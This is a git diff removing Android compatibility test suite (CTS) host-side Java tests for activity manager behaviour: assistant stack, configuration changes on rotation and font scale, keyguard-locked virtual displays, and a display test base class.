- launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
- assertAssistantStackExists();
- mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
- mAmWmState.assertFocusedStack("Expected assistant stack focused", ASSISTANT_STACK_ID);
- assertEquals(1, mAmWmState.getAmState().getStackById(ASSISTANT_STACK_ID).getTasks().size());
- assertEquals(taskId,
- mAmWmState.getAmState().getTaskByActivityName(ASSISTANT_ACTIVITY).mTaskId);
-
- disableAssistant();
- }
-
- public void testPinnedStackWithAssistant() throws Exception {
- if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
-
- enableAssistant();
-
- // Launch a fullscreen activity and a PIP activity, then launch the assistant, and ensure
- // that the test activity is still visible
- launchActivity(TEST_ACTIVITY);
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
- EXTRA_IS_TRANSLUCENT, String.valueOf(true));
- mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
- assertAssistantStackExists();
- mAmWmState.assertVisibility(TRANSLUCENT_ASSISTANT_ACTIVITY, true);
- mAmWmState.assertVisibility(PIP_ACTIVITY, true);
- mAmWmState.assertVisibility(TEST_ACTIVITY, true);
-
- disableAssistant();
- }
-
- /**
- * Asserts that the assistant stack exists.
- */
- private void assertAssistantStackExists() throws Exception {
- mAmWmState.assertContainsStack("Must contain assistant stack.", ASSISTANT_STACK_ID);
- }
-
- /**
- * Asserts that the assistant stack does not exist.
- */
- private void assertAssistantStackDoesNotExist() throws Exception {
- mAmWmState.assertDoesNotContainStack("Must not contain assistant stack.",
- ASSISTANT_STACK_ID);
- }
-
- /**
- * Sets the system voice interaction service.
- */
- private void enableAssistant() throws Exception {
- executeShellCommand("settings put secure voice_interaction_service " +
- getActivityComponentName(VOICE_INTERACTION_SERVICE));
- }
-
- /**
- * Resets the system voice interaction service.
- */
- private void disableAssistant() throws Exception {
- executeShellCommand("settings delete secure voice_interaction_service " +
- getActivityComponentName(VOICE_INTERACTION_SERVICE));
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java
deleted file mode 100644
index 4640d19..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java
+++ /dev/null
@@ -1,237 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.platform.test.annotations.Presubmit;
-
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
-import static android.server.cts.StateLogger.logE;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerConfigChangeTests
- */
-public class ActivityManagerConfigChangeTests extends ActivityManagerTestBase {
- private static final String TEST_ACTIVITY_NAME = "TestActivity";
- private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
-
- private static final String FONT_SCALE_ACTIVITY_NAME = "FontScaleActivity";
- private static final String FONT_SCALE_NO_RELAUNCH_ACTIVITY_NAME =
- "FontScaleNoRelaunchActivity";
-
- private static final float EXPECTED_FONT_SIZE_SP = 10.0f;
-
- public void testRotation90Relaunch() throws Exception{
- // Should relaunch on every rotation and receive no onConfigurationChanged()
- testRotation(TEST_ACTIVITY_NAME, 1, 1, 0);
- }
-
- public void testRotation90NoRelaunch() throws Exception {
- // Should receive onConfigurationChanged() on every rotation and no relaunch
- testRotation(NO_RELAUNCH_ACTIVITY_NAME, 1, 0, 1);
- }
-
- public void testRotation180Relaunch() throws Exception {
- // Should receive nothing
- testRotation(TEST_ACTIVITY_NAME, 2, 0, 0);
- }
-
- public void testRotation180NoRelaunch() throws Exception {
- // Should receive nothing
- testRotation(NO_RELAUNCH_ACTIVITY_NAME, 2, 0, 0);
- }
-
- @Presubmit
- public void testChangeFontScaleRelaunch() throws Exception {
- // Should relaunch and receive no onConfigurationChanged()
- testChangeFontScale(FONT_SCALE_ACTIVITY_NAME, true /* relaunch */);
- }
-
- @Presubmit
- public void testChangeFontScaleNoRelaunch() throws Exception {
- // Should receive onConfigurationChanged() and no relaunch
- testChangeFontScale(FONT_SCALE_NO_RELAUNCH_ACTIVITY_NAME, false /* relaunch */);
- }
-
- private void testRotation(
- String activityName, int rotationStep, int numRelaunch, int numConfigChange)
- throws Exception {
- launchActivity(activityName);
-
- final String[] waitForActivitiesVisible = new String[] {activityName};
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-
- final int initialRotation = 4 - rotationStep;
- setDeviceRotation(initialRotation);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- final int actualStackId = mAmWmState.getAmState().getTaskByActivityName(
- activityName).mStackId;
- final int displayId = mAmWmState.getAmState().getStackById(actualStackId).mDisplayId;
- final int newDeviceRotation = getDeviceRotation(displayId);
- if (newDeviceRotation == INVALID_DEVICE_ROTATION) {
- CLog.logAndDisplay(LogLevel.WARN, "Got an invalid device rotation value. "
- + "Continuing the test despite of that, but it is likely to fail.");
- } else if (newDeviceRotation != initialRotation) {
- CLog.logAndDisplay(LogLevel.INFO, "This device doesn't support user rotation "
- + "mode. Not continuing the rotation checks.");
- return;
- }
-
- for (int rotation = 0; rotation < 4; rotation += rotationStep) {
- final String logSeparator = clearLogcat();
- setDeviceRotation(rotation);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- assertRelaunchOrConfigChanged(activityName, numRelaunch, numConfigChange, logSeparator);
- }
- }
-
- private void testChangeFontScale(
- String activityName, boolean relaunch) throws Exception {
- launchActivity(activityName);
- final String[] waitForActivitiesVisible = new String[] {activityName};
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-
- setFontScale(1.0f);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-
- final int densityDpi = getGlobalDensityDpi();
-
- for (float fontScale = 0.85f; fontScale <= 1.3f; fontScale += 0.15f) {
- final String logSeparator = clearLogcat();
- setFontScale(fontScale);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- assertRelaunchOrConfigChanged(activityName, relaunch ? 1 : 0, relaunch ? 0 : 1,
- logSeparator);
-
- // Verify that the display metrics are updated, and therefore the text size is also
- // updated accordingly.
- assertExpectedFontPixelSize(activityName,
- scaledPixelsToPixels(EXPECTED_FONT_SIZE_SP, fontScale, densityDpi),
- logSeparator);
- }
- }
-
- /**
- * Test updating application info when app is running. An activity with matching package name
- * must be recreated and its asset sequence number must be incremented.
- */
- public void testUpdateApplicationInfo() throws Exception {
- final String firstLogSeparator = clearLogcat();
-
- // Launch an activity that prints applied config.
- launchActivity(TEST_ACTIVITY_NAME);
- final int assetSeq = readAssetSeqNumber(TEST_ACTIVITY_NAME, firstLogSeparator);
-
- final String logSeparator = clearLogcat();
- // Update package info.
- executeShellCommand("am update-appinfo all " + componentName);
- mAmWmState.waitForWithAmState(mDevice, (amState) -> {
- // Wait for activity to be resumed and asset seq number to be updated.
- try {
- return readAssetSeqNumber(TEST_ACTIVITY_NAME, logSeparator) == assetSeq + 1
- && amState.hasActivityState(TEST_ACTIVITY_NAME, STATE_RESUMED);
- } catch (Exception e) {
- logE("Error waiting for valid state: " + e.getMessage());
- return false;
- }
- }, "Waiting asset sequence number to be updated and for activity to be resumed.");
-
- // Check if activity is relaunched and asset seq is updated.
- assertRelaunchOrConfigChanged(TEST_ACTIVITY_NAME, 1 /* numRelaunch */,
- 0 /* numConfigChange */, logSeparator);
- final int newAssetSeq = readAssetSeqNumber(TEST_ACTIVITY_NAME, logSeparator);
- assertEquals("Asset sequence number must be incremented.", assetSeq + 1, newAssetSeq);
- }
-
- private static final Pattern sConfigurationPattern = Pattern.compile(
- "(.+): Configuration: \\{(.*) as.(\\d+)(.*)\\}");
-
- /** Read asset sequence number in last applied configuration from logs. */
- private int readAssetSeqNumber(String activityName, String logSeparator) throws Exception {
- final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
- for (int i = lines.length - 1; i >= 0; i--) {
- final String line = lines[i].trim();
- final Matcher matcher = sConfigurationPattern.matcher(line);
- if (matcher.matches()) {
- final String assetSeqNumber = matcher.group(3);
- try {
- return Integer.valueOf(assetSeqNumber);
- } catch (NumberFormatException e) {
- // Ignore, asset seq number is not printed when not set.
- }
- }
- }
- return 0;
- }
-
- // Calculate the scaled pixel size just like the device is supposed to.
- private static int scaledPixelsToPixels(float sp, float fontScale, int densityDpi) {
- final int DEFAULT_DENSITY = 160;
- float f = densityDpi * (1.0f / DEFAULT_DENSITY) * fontScale * sp;
- return (int) ((f >= 0) ? (f + 0.5f) : (f - 0.5f));
- }
-
- private static Pattern sDeviceDensityPattern =
- Pattern.compile(".*?-(l|m|tv|h|xh|xxh|xxxh|\\d+)dpi-.*?");
-
- private int getGlobalDensityDpi() throws Exception {
- final String result = getDevice().executeShellCommand("am get-config");
- final String[] lines = result.split("\n");
- if (lines.length < 1) {
- throw new IllegalStateException("Invalid config returned from device: " + result);
- }
-
- final Matcher matcher = sDeviceDensityPattern.matcher(lines[0]);
- if (!matcher.matches()) {
- throw new IllegalStateException("Invalid config returned from device: " + lines[0]);
- }
- switch (matcher.group(1)) {
- case "l": return 120;
- case "m": return 160;
- case "tv": return 213;
- case "h": return 240;
- case "xh": return 320;
- case "xxh": return 480;
- case "xxxh": return 640;
- }
- return Integer.parseInt(matcher.group(1));
- }
-
- private static final Pattern sFontSizePattern = Pattern.compile("^(.+): fontPixelSize=(.+)$");
-
- /** Read the font size in the last log line. */
- private void assertExpectedFontPixelSize(String activityName, int fontPixelSize,
- String logSeparator) throws Exception {
- final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
- for (int i = lines.length - 1; i >= 0; i--) {
- final String line = lines[i].trim();
- final Matcher matcher = sFontSizePattern.matcher(line);
- if (matcher.matches()) {
- assertEquals("Expected font pixel size does not match", fontPixelSize,
- Integer.parseInt(matcher.group(2)));
- return;
- }
- }
- fail("No fontPixelSize reported from activity " + activityName);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
deleted file mode 100644
index 1e8c5a1..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
-import static android.server.cts.ActivityManagerState.STATE_STOPPED;
-import static android.server.cts.StateLogger.logE;
-
-/**
- * Display tests that require a locked keyguard.
- *
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerDisplayLockedKeyguardTests
- */
-public class ActivityManagerDisplayLockedKeyguardTests extends ActivityManagerDisplayTestBase {
-
- private static final String TEST_ACTIVITY_NAME = "TestActivity";
- private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- setLockCredential();
- }
-
- @Override
- protected void tearDown() throws Exception {
- try {
- tearDownLockCredentials();
- } catch (DeviceNotAvailableException e) {
- logE(e.getMessage());
- }
- super.tearDown();
- }
-
- /**
- * Test that virtual display content is hidden when device is locked.
- */
- public void testVirtualDisplayHidesContentWhenLocked() throws Exception {
- if (!supportsMultiDisplay() || !isHandheld()) { return; }
-
- // Create new usual virtual display.
- final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-
- // Launch activity on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
- mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
-
- // Lock the device.
- gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_STOPPED);
- mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false /* visible */);
-
- // Unlock and check if visibility is back.
- unlockDeviceWithCredential();
- mAmWmState.waitForKeyguardGone(mDevice);
- mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
- mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
deleted file mode 100644
index cc0a257..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
+++ /dev/null
@@ -1,508 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * Base class for ActivityManager display tests.
- *
- * @see ActivityManagerDisplayTests
- * @see ActivityManagerDisplayLockedKeyguardTests
- */
-public class ActivityManagerDisplayTestBase extends ActivityManagerTestBase {
-
- static final int CUSTOM_DENSITY_DPI = 222;
-
- private static final String DUMPSYS_ACTIVITY_PROCESSES = "dumpsys activity processes";
- private static final String DUMPSYS_DISPLAY = "dumpsys display";
- private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
- private static final int INVALID_DENSITY_DPI = -1;
-
- private boolean mVirtualDisplayCreated;
- private boolean mDisplaySimulated;
-
- /** Temp storage used for parsing. */
- final LinkedList<String> mDumpLines = new LinkedList<>();
- final LinkedList<String> mAltDumpLines = new LinkedList<>();
-
- @Override
- protected void tearDown() throws Exception {
- try {
- destroyVirtualDisplays();
- destroySimulatedDisplays();
- } catch (DeviceNotAvailableException e) {
- logE(e.getMessage());
- }
- super.tearDown();
- }
-
- /** Contains the configurations applied to attached displays. */
- static final class DisplayState {
- int mDisplayId;
- String mOverrideConfig;
- String mDisplayViewportId;
-
- private DisplayState(int displayId, String overrideConfig, String uniqueId) {
- mDisplayId = displayId;
- mOverrideConfig = overrideConfig;
- mDisplayViewportId = uniqueId;
- }
-
- private int getWidth() {
- final String[] configParts = mOverrideConfig.split(" ");
- for (String part : configParts) {
- if (part.endsWith("dp") && part.startsWith("w")) {
- final String widthString = part.substring(1, part.length() - 3);
- return Integer.parseInt(widthString);
- }
- }
-
- return -1;
- }
-
- private int getHeight() {
- final String[] configParts = mOverrideConfig.split(" ");
- for (String part : configParts) {
- if (part.endsWith("dp") && part.startsWith("h")) {
- final String heightString = part.substring(1, part.length() - 3);
- return Integer.parseInt(heightString);
- }
- }
-
- return -1;
- }
-
- int getDpi() {
- final String[] configParts = mOverrideConfig.split(" ");
- for (String part : configParts) {
- if (part.endsWith("dpi")) {
- final String densityDpiString = part.substring(0, part.length() - 3);
- return Integer.parseInt(densityDpiString);
- }
- }
-
- return -1;
- }
-
- String getDisplayViewPortId() {
- return mDisplayViewportId;
- }
- }
-
- /** Contains the configurations applied to attached displays. */
- static final class ReportedDisplays {
- private static final Pattern sGlobalConfigurationPattern =
- Pattern.compile("mGlobalConfiguration: (\\{.*\\})");
- private static final Pattern sDisplayOverrideConfigurationsPattern =
- Pattern.compile("Display override configurations:");
- private static final Pattern sDisplayConfigPattern =
- Pattern.compile("(\\d+): (\\{.*\\})");
- private static final Pattern sVirtualTouchViewportPattern =
- Pattern.compile("mVirtualTouchViewports.*displayId=(\\d+), uniqueId='([^']+)', .*");
-
- String mGlobalConfig;
- private Map<Integer, DisplayState> mDisplayStates = new HashMap<>();
-
- static ReportedDisplays create(LinkedList<String> activityProcessDump,
- LinkedList<String> displayDump) {
- final ReportedDisplays result = new ReportedDisplays();
- HashMap<String, String> virtualUniqueIdMap = new HashMap<String, String>();
-
- while (!displayDump.isEmpty()) {
- final String line = displayDump.pop().trim();
-
- Matcher matcher = sVirtualTouchViewportPattern.matcher(line);
- if (matcher.matches()) {
- virtualUniqueIdMap.put(matcher.group(1), matcher.group(2));
- }
- }
-
- while (!activityProcessDump.isEmpty()) {
- final String line = activityProcessDump.pop().trim();
-
-
- Matcher actMatcher = sDisplayOverrideConfigurationsPattern.matcher(line);
- if (actMatcher.matches()) {
- log(line);
- while (ReportedDisplays.shouldContinueExtracting(activityProcessDump,
- sDisplayConfigPattern)) {
- final String displayOverrideConfigLine = activityProcessDump.pop().trim();
- log(displayOverrideConfigLine);
- actMatcher = sDisplayConfigPattern.matcher(displayOverrideConfigLine);
- actMatcher.matches();
- final String tempUniqueId = "local:" + actMatcher.group(1);
- final Integer displayId = Integer.valueOf(actMatcher.group(1));
- // Default unique ids for non virtual display.
- final String uniqueId =
- (virtualUniqueIdMap.containsKey(actMatcher.group(1)))
- ? virtualUniqueIdMap.get(actMatcher.group(1)) : tempUniqueId;
- result.mDisplayStates.put(displayId,
- new DisplayState(displayId, actMatcher.group(2), uniqueId));
- }
- continue;
- }
-
- actMatcher = sGlobalConfigurationPattern.matcher(line);
- if (actMatcher.matches()) {
- log(line);
- result.mGlobalConfig = actMatcher.group(1);
- }
- }
-
- return result;
- }
-
- /** Check if next line in dump matches the pattern and we should continue extracting. */
- static boolean shouldContinueExtracting(LinkedList<String> dump, Pattern matchingPattern) {
- if (dump.isEmpty()) {
- return false;
- }
-
- final String line = dump.peek().trim();
- return matchingPattern.matcher(line).matches();
- }
-
- DisplayState getDisplayState(int displayId) {
- return mDisplayStates.get(displayId);
- }
-
- int getNumberOfDisplays() {
- return mDisplayStates.size();
- }
-
- /** Return the display state with width, height, dpi */
- DisplayState getDisplayState(int width, int height, int dpi) {
- for (Map.Entry<Integer, DisplayState> entry : mDisplayStates.entrySet()) {
- final DisplayState ds = entry.getValue();
- if (ds.mDisplayId != DEFAULT_DISPLAY_ID && ds.getDpi() == dpi
- && ds.getWidth() == width && ds.getHeight() == height) {
- return ds;
- }
- }
- return null;
- }
-
- /** Return the display state with the given unique id */
- DisplayState getDisplayState(String viewportId) {
- for (Map.Entry<Integer, DisplayState> entry : mDisplayStates.entrySet()) {
- final DisplayState ds = entry.getValue();
- if (ds.mDisplayViewportId.equals(viewportId)) {
- return ds;
- }
- }
- return null;
- }
-
- /** Check if reported state is valid. */
- boolean isValidState(int expectedDisplayCount) {
- if (mDisplayStates.size() != expectedDisplayCount) {
- return false;
- }
-
- for (Map.Entry<Integer, DisplayState> entry : mDisplayStates.entrySet()) {
- final DisplayState ds = entry.getValue();
- if (ds.mDisplayId != DEFAULT_DISPLAY_ID && ds.getDpi() == -1) {
- return false;
- }
- }
- return true;
- }
- }
-
- ReportedDisplays getDisplaysStates() throws DeviceNotAvailableException {
- // Parse dumpsys activity processes.
- final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- mDevice.executeShellCommand(DUMPSYS_ACTIVITY_PROCESSES, outputReceiver);
- String dump = outputReceiver.getOutput();
- mDumpLines.clear();
-
- Collections.addAll(mDumpLines, dump.split("\\n"));
-
- // Parse dumpsys display
- final CollectingOutputReceiver outputReceiverNew = new CollectingOutputReceiver();
- mDevice.executeShellCommand(DUMPSYS_DISPLAY, outputReceiverNew);
- String dumpNew = outputReceiverNew.getOutput();
- mAltDumpLines.clear();
-
- Collections.addAll(mAltDumpLines, dumpNew.split("\\n"));
-
- return ReportedDisplays.create(mDumpLines, mAltDumpLines);
- }
-
- /** Find the display that was not originally reported in oldDisplays and added in newDisplays */
- protected List<ActivityManagerDisplayTests.DisplayState> findNewDisplayStates(
- ReportedDisplays oldDisplays, ReportedDisplays newDisplays) {
- final ArrayList<DisplayState> displays = new ArrayList();
-
- for (Integer displayId : newDisplays.mDisplayStates.keySet()) {
- if (!oldDisplays.mDisplayStates.containsKey(displayId)) {
- displays.add(newDisplays.getDisplayState(displayId));
- }
- }
-
- return displays;
- }
-
- /**
- * Create new virtual display.
- * @param densityDpi provide custom density for the display.
- * @param launchInSplitScreen start {@link VirtualDisplayActivity} to side from
- * {@link LaunchingActivity} on primary display.
- * @param canShowWithInsecureKeyguard allow showing content when device is showing an insecure
- * keyguard.
- * @param mustBeCreated should assert if the display was or wasn't created.
- * @param publicDisplay make display public.
- * @param resizeDisplay should resize display when surface size changes.
- * @param launchActivity should launch test activity immediately after display creation.
- * @return {@link ActivityManagerDisplayTests.DisplayState} of newly created display.
- * @throws Exception
- */
- private List<ActivityManagerDisplayTests.DisplayState> createVirtualDisplays(int densityDpi,
- boolean launchInSplitScreen, boolean canShowWithInsecureKeyguard, boolean mustBeCreated,
- boolean publicDisplay, boolean resizeDisplay, String launchActivity, int displayCount)
- throws Exception {
- // Start an activity that is able to create virtual displays.
- if (launchInSplitScreen) {
- getLaunchActivityBuilder().setToSide(true)
- .setTargetActivityName(VIRTUAL_DISPLAY_ACTIVITY).execute();
- } else {
- launchActivity(VIRTUAL_DISPLAY_ACTIVITY);
- }
- mAmWmState.computeState(mDevice, new String[] {VIRTUAL_DISPLAY_ACTIVITY},
- false /* compareTaskAndStackBounds */);
- final ActivityManagerDisplayTests.ReportedDisplays originalDS = getDisplaysStates();
-
- // Create virtual display with custom density dpi.
- executeShellCommand(getCreateVirtualDisplayCommand(densityDpi, canShowWithInsecureKeyguard,
- publicDisplay, resizeDisplay, launchActivity, displayCount));
- mVirtualDisplayCreated = true;
-
- return assertAndGetNewDisplays(mustBeCreated ? displayCount : -1, originalDS);
- }
-
- /**
- * Simulate new display.
- * @param densityDpi provide custom density for the display.
- * @return {@link ActivityManagerDisplayTests.DisplayState} of newly created display.
- */
- private List<ActivityManagerDisplayTests.DisplayState> simulateDisplay(int densityDpi)
- throws Exception {
- final ActivityManagerDisplayTests.ReportedDisplays originalDs = getDisplaysStates();
-
- // Create virtual display with custom density dpi.
- executeShellCommand(getSimulateDisplayCommand(densityDpi));
- mDisplaySimulated = true;
-
- return assertAndGetNewDisplays(1, originalDs);
- }
-
- /**
- * Wait for desired number of displays to be created and get their properties.
- * @param newDisplayCount expected display count, -1 if display should not be created.
- * @param originalDS display states before creation of new display(s).
- */
- private List<ActivityManagerDisplayTests.DisplayState> assertAndGetNewDisplays(
- int newDisplayCount, ActivityManagerDisplayTests.ReportedDisplays originalDS)
- throws Exception {
- final int originalDisplayCount = originalDS.mDisplayStates.size();
-
- // Wait for the display(s) to be created and get configurations.
- final ActivityManagerDisplayTests.ReportedDisplays ds =
- getDisplayStateAfterChange(originalDisplayCount + newDisplayCount);
- if (newDisplayCount != -1) {
- assertEquals("New virtual display(s) must be created",
- originalDisplayCount + newDisplayCount, ds.mDisplayStates.size());
- } else {
- assertEquals("New virtual display must not be created",
- originalDisplayCount, ds.mDisplayStates.size());
- return null;
- }
-
- // Find the newly added display(s).
- final List<ActivityManagerDisplayTests.DisplayState> newDisplays
- = findNewDisplayStates(originalDS, ds);
- assertTrue("New virtual display must be created", newDisplayCount == newDisplays.size());
-
- return newDisplays;
- }
-
- /**
- * Destroy existing virtual display.
- */
- void destroyVirtualDisplays() throws Exception {
- if (mVirtualDisplayCreated) {
- executeShellCommand(getDestroyVirtualDisplayCommand());
- mVirtualDisplayCreated = false;
- }
- }
-
- /**
- * Destroy existing simulated display.
- */
- private void destroySimulatedDisplays() throws Exception {
- if (mDisplaySimulated) {
- executeShellCommand(getDestroySimulatedDisplayCommand());
- mDisplaySimulated = false;
- }
- }
-
- static class VirtualDisplayBuilder {
- private final ActivityManagerDisplayTestBase mTests;
-
- private int mDensityDpi = CUSTOM_DENSITY_DPI;
- private boolean mLaunchInSplitScreen = false;
- private boolean mCanShowWithInsecureKeyguard = false;
- private boolean mPublicDisplay = false;
- private boolean mResizeDisplay = true;
- private String mLaunchActivity = null;
- private boolean mSimulateDisplay = false;
- private boolean mMustBeCreated = true;
-
- public VirtualDisplayBuilder(ActivityManagerDisplayTestBase tests) {
- mTests = tests;
- }
-
- public VirtualDisplayBuilder setDensityDpi(int densityDpi) {
- mDensityDpi = densityDpi;
- return this;
- }
-
- public VirtualDisplayBuilder setLaunchInSplitScreen(boolean launchInSplitScreen) {
- mLaunchInSplitScreen = launchInSplitScreen;
- return this;
- }
-
- public VirtualDisplayBuilder setCanShowWithInsecureKeyguard(
- boolean canShowWithInsecureKeyguard) {
- mCanShowWithInsecureKeyguard = canShowWithInsecureKeyguard;
- return this;
- }
-
- public VirtualDisplayBuilder setPublicDisplay(boolean publicDisplay) {
- mPublicDisplay = publicDisplay;
- return this;
- }
-
- public VirtualDisplayBuilder setResizeDisplay(boolean resizeDisplay) {
- mResizeDisplay = resizeDisplay;
- return this;
- }
-
- public VirtualDisplayBuilder setLaunchActivity(String launchActivity) {
- mLaunchActivity = launchActivity;
- return this;
- }
-
- public VirtualDisplayBuilder setSimulateDisplay(boolean simulateDisplay) {
- mSimulateDisplay = simulateDisplay;
- return this;
- }
-
- public VirtualDisplayBuilder setMustBeCreated(boolean mustBeCreated) {
- mMustBeCreated = mustBeCreated;
- return this;
- }
-
- public DisplayState build() throws Exception {
- final List<DisplayState> displays = build(1);
- return displays != null && !displays.isEmpty() ? displays.get(0) : null;
- }
-
- public List<DisplayState> build(int count) throws Exception {
- if (mSimulateDisplay) {
- return mTests.simulateDisplay(mDensityDpi);
- }
-
- return mTests.createVirtualDisplays(mDensityDpi, mLaunchInSplitScreen,
- mCanShowWithInsecureKeyguard, mMustBeCreated, mPublicDisplay, mResizeDisplay,
- mLaunchActivity, count);
- }
- }
-
- private static String getCreateVirtualDisplayCommand(int densityDpi,
- boolean canShowWithInsecureKeyguard, boolean publicDisplay, boolean resizeDisplay,
- String launchActivity, int displayCount) {
- final StringBuilder commandBuilder
- = new StringBuilder(getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY));
- commandBuilder.append(" -f 0x20000000");
- commandBuilder.append(" --es command create_display");
- if (densityDpi != INVALID_DENSITY_DPI) {
- commandBuilder.append(" --ei density_dpi ").append(densityDpi);
- }
- commandBuilder.append(" --ei count ").append(displayCount);
- commandBuilder.append(" --ez can_show_with_insecure_keyguard ")
- .append(canShowWithInsecureKeyguard);
- commandBuilder.append(" --ez public_display ").append(publicDisplay);
- commandBuilder.append(" --ez resize_display ").append(resizeDisplay);
- if (launchActivity != null) {
- commandBuilder.append(" --es launch_target_activity ").append(launchActivity);
- }
- return commandBuilder.toString();
- }
-
- private static String getDestroyVirtualDisplayCommand() {
- return getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY) + " -f 0x20000000" +
- " --es command destroy_display";
- }
-
- private static String getSimulateDisplayCommand(int densityDpi) {
- return "settings put global overlay_display_devices 1024x768/" + densityDpi;
- }
-
- private static String getDestroySimulatedDisplayCommand() {
- return "settings delete global overlay_display_devices";
- }
-
- /** Wait for provided number of displays and report their configurations. */
- ReportedDisplays getDisplayStateAfterChange(int expectedDisplayCount)
- throws DeviceNotAvailableException {
- ReportedDisplays ds = getDisplaysStates();
-
- int retriesLeft = 5;
- while (!ds.isValidState(expectedDisplayCount) && retriesLeft-- > 0) {
- log("***Waiting for the correct number of displays...");
- try {
- Thread.sleep(1000);
- } catch (InterruptedException e) {
- log(e.toString());
- }
- ds = getDisplaysStates();
- }
-
- return ds;
- }
-
- /** Checks if the device supports multi-display. */
- boolean supportsMultiDisplay() throws Exception {
- return hasDeviceFeature("android.software.activities_on_secondary_displays");
- }
-}
